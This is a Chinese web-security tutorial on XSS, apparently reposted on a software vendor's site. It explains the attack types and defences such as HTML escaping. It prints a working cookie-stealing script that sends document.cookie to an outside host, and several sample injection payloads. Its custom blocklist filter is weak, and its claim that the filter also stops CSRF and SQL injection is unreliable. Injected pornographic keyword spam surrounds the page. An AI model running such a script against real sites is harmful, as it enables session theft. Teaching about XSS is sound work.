国产高清在线免费观看-国产高清在线免费无码-国产高清在线男人的天堂-国产高清在线视频-国产高清在线视频精品视频-国产高清在线视频伊甸园

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

[點(diǎn)晴永久免費(fèi)OA]Web安全之XSS跨站腳本攻擊

admin
2020年4月8日 11:43 本文熱度 3528
本文主要選擇常見web攻擊手段之一的XSS(跨站點(diǎn)腳本攻擊)來進(jìn)行講解,說明其攻擊原理,并提出相應(yīng)的解決辦法。

XSS
XSS 攻擊,全稱是“跨站點(diǎn)腳本攻擊”(Cross Site Scripting),之所以縮寫為 XSS,主要是為了和“層疊樣式表”(Cascading Style Sheets,CSS)區(qū)別開,以免混淆。
XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其他用戶使用的頁面中。XSS是針對(duì)Web站點(diǎn)的客戶隱私的攻擊,當(dāng)客戶詳細(xì)信息失竊或受控時(shí)可能引發(fā)徹底的安全威脅。大部分網(wǎng)站攻擊只涉及兩個(gè)群體:黑客和 Web 站點(diǎn),或者黑客和客戶端受害者。與那些攻擊不同的是,XSS 攻擊同時(shí)涉及三個(gè)群體:黑客、客戶端和 Web 站點(diǎn)。XSS 攻擊的目的是盜走客戶端 cookies,或者任何可以用于在 Web 站點(diǎn)確定客戶身份的其他敏感信息。手邊有了合法用戶的標(biāo)記,黑客可以繼續(xù)扮演用戶與站點(diǎn)交互,從而冒充用戶。
舉例來說,可以利用 XSS 攻擊窺視用戶的信用卡號(hào)碼和私有信息。通過利用 Web 站點(diǎn)的訪問特權(quán),在受害者(客戶端)瀏覽器上運(yùn)行惡意的JavaScript代碼來實(shí)現(xiàn)。這些是非常有限的JavaScript特權(quán),除了與站點(diǎn)相關(guān)的信息,一般不允許腳本訪問其他任何內(nèi)容。重點(diǎn)強(qiáng)調(diào)的是,雖然 Web 站點(diǎn)上存在安全漏洞,但是 Web 站點(diǎn)從未受到直接傷害。但是這已經(jīng)足夠讓腳本收集 cookies,并且將它們發(fā)送給黑客。
跨站腳本攻擊有兩種攻擊形式:
1. 反射型跨站腳本攻擊
攻擊者會(huì)通過社會(huì)工程學(xué)手段,發(fā)送一個(gè)URL連接給用戶打開,在用戶打開頁面的同時(shí),瀏覽器會(huì)執(zhí)行頁面中嵌入的惡意腳本。
2. 存儲(chǔ)型跨站腳本攻擊
攻擊者利用web應(yīng)用程序提供的錄入或修改數(shù)據(jù)功能,將數(shù)據(jù)存儲(chǔ)到服務(wù)器或用戶cookie中,當(dāng)其他用戶瀏覽展示該數(shù)據(jù)的頁面時(shí),瀏覽器會(huì)執(zhí)行頁面中嵌入的惡意腳本。所有瀏覽者都會(huì)受到攻擊。
3. DOM跨站攻擊
由于html頁面中,定義了一段JS,根據(jù)用戶的輸入,顯示一段html代碼,攻擊者可以在輸入時(shí),插入一段惡意腳本,最終展示時(shí),會(huì)執(zhí)行惡意腳本。
DOM跨站和以上兩個(gè)跨站攻擊的差別是,DOM跨站是純頁面腳本的輸出,只有規(guī)范使用javascript,才可以防御。

原理
讀到這里,相信大家對(duì)XSS的概率已經(jīng)有了一定的理解,下面我們通過舉例來說說攻擊的原理。
如果下面是我們網(wǎng)站的一段PHP代碼:
<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["pname"]?></td>
<td><?=$row["pdesc"]?></td>
<td><?=$row["ptype"]?></td>
</tr>

那么攻擊者可以在添加產(chǎn)品時(shí)插入惡意腳本:


攻擊者發(fā)布產(chǎn)品后,等待用戶瀏覽產(chǎn)品列表頁面,用戶瀏覽頁面如下:


就會(huì)執(zhí)行攻擊者寫的inbreak.net/a.js惡意腳本。腳本內(nèi)容如下:
a=document.createElement("iframe");
function b(){e=escape(document.cookie);
c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
document.body.appendChild(a);a.src=c.join();}
setTimeout(''b()'',5000);

其功能是獲取當(dāng)前瀏覽者的cookie,并發(fā)送到a.php,用戶的cookie已經(jīng)就會(huì)到攻擊者的服務(wù)器上。攻擊者利用瀏覽器插件,將自己的cookie替換成剛剛獲取的用戶的cookie,就可以貍貓換太子的冒充用戶了。

防御
原理說清楚了,再來談?wù)勅绾畏烙伞?/span>
最基本的防御就是對(duì)用戶的輸入進(jìn)行轉(zhuǎn)義,例如
<script type=''text/javascript''>alert(''hello world'')</script>
如果直接保存這個(gè)字符串的話,然后再輸出的話,就會(huì)運(yùn)行JS了。
我們需要將這個(gè)字符串轉(zhuǎn)義成:
"&lt;script type=''text/javascript''&gt;alert(''hello world'')&lt;/script&gt;"

有些語言自帶的就有一些函數(shù)來實(shí)現(xiàn)轉(zhuǎn)義的功能。
比如php中,提供了 htmlspecialchars() 函數(shù)可以將HTML 特殊字符轉(zhuǎn)化成在網(wǎng)頁上顯示的字符實(shí)體編碼。這樣即使用戶輸入了各種HTML 標(biāo)記,在讀回到瀏覽器時(shí),會(huì)直接顯示這些HTML 標(biāo)記,而不是解釋執(zhí)行。
這里舉一個(gè)例子:
<b> 歡迎:<?= $welcome_msg?></b>

攻擊者輸入:
<script>evil_script()</script>

結(jié)果為:
<b>歡迎:<script>evil_script()</script></b>

分析可以得知,在HTML 正文背景下,< > 字符會(huì)引入HTML 標(biāo)記,& 可能會(huì)認(rèn)為字符實(shí)體編碼的開始,所以需要將< > & 轉(zhuǎn)義。為簡(jiǎn)潔起見,直接使用 htmlspecialchars() 將5 種HTML 特殊字符轉(zhuǎn)義,如:
<b>歡迎:<?= htmlspecialchars($welcome_msg, ENT_NOQUOTES)?></b>

其中ENT_NOQUOTES的意思是不對(duì)單引號(hào)和雙引號(hào)進(jìn)行編碼。
而其他語言,比如.net,則有微軟提供的類庫(kù)AntiXSS,它的實(shí)現(xiàn)原理是白名單機(jī)制。使用起來也很簡(jiǎn)單,就是通過AntiXss.GetSafeHtmlFragment(html)方法,來替換掉html里的危險(xiǎn)字符。代碼如下:
    var html = "<a href=\"#\" onclick=\"alert();\">aaaaaaaaa</a>javascript<P><IMG SRC=javascript:alert(''XSS'')><javascript>alert(''a'')</javascript><IMG src=\"abc.jpg\"><IMG><P>Test</P>";

string safeHtml = AntiXss.GetSafeHtmlFragment(html);
Console.WriteLine(safeHtml);

上面的危險(xiǎn)內(nèi)容會(huì)被成功替換為:
<a href="">aaaaaaaaa</a>javascript
<p><img src="">alert(''a'')<img src="abc.jpg"><img></p>
<p>Test</p>

同樣的,在java中,也可以通過引入第三方的jar包,來避免XSS攻擊,比如commons-lang-2.5.jar。
即使不使用自帶的方法或者第三方庫(kù),我們還可以通過自己編寫方法來實(shí)現(xiàn)轉(zhuǎn)義。
    private String cleanXSS(String value) {
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("''", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\''][\\s]*javascript:(.*)[\\\"\\\'']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }

這種自定義函數(shù)過濾器的方法,不僅僅防御XSS攻擊,還可以防御CSRF攻擊和SQL注入等安全問題。
————————————————
版權(quán)聲明:本文為CSDN博主「布瑞澤的童話」的原創(chuàng)文章,遵循 CC 4.0 BY-SA 版權(quán)協(xié)議,轉(zhuǎn)載請(qǐng)附上原文出處鏈接及本聲明。

該文章在 2020/4/8 11:43:59 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國(guó)內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉(cāng)儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購(gòu)管理,倉(cāng)儲(chǔ)管理,倉(cāng)庫(kù)管理,保質(zhì)期管理,貨位管理,庫(kù)位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved

主站蜘蛛池模板: 亚洲欧美日韩精品久久亚洲区色播 | 久久久久国产一级毛片高清板 | 国产日韩欧美亚欧在线 | 久久久不卡国产精品一区二区 | 国产亚洲精品久久午夜玫瑰园 | 日韩人妻鲁交色情精品视频 | 亚洲AV片不看国产九九 | 亚洲国产成人精品无码一区二区三区 | 国产亚洲av无码乱码在线观看 | 中文精品无码中文字幕无码专区 | 大胆国模一区二区三区伊人 | 国产精品v一区二区三区 | 亚洲国产精品成人一 | 久久久久久久久毛片精品 | 国产91丝袜在线播放 | 欧美极品丫丫内谢 | 无码中文字幕乱码一区 | 国产三级视频在线观看 | 日韩欧美综合 | 亚洲av中文无码乱人伦在线播放 | 国产亚洲日韩精品激情 | a级毛片在线免费 | 亚洲一级在线观看 | 一个人看的www视频免费在线观看 | 亚洲国产另类久久 | 无码欧美精品亚洲日韩一区妖精三级gay天堂欧美二区另类 | 国产成人精品一区二三区 | 丝袜美腿丝袜亚洲综合 | 日本特黄群交A片视频 | 国产在线精品人成导航 | 亚洲av日韩av永久无码色欲 | 香蕉影视色多多 | 不卡无码在线一区二区三区观 | 精品无码av无码专区 | 亚洲伊人久久网 | 肉色丝袜足j视频国产 | 久久特级毛片 | 久久婷婷人人澡人人喊人人爽 | 99国产精品久久久久久久日本竹 | 麻豆视传媒官方短视频网站 | 日韩a无v码手机在线播放 |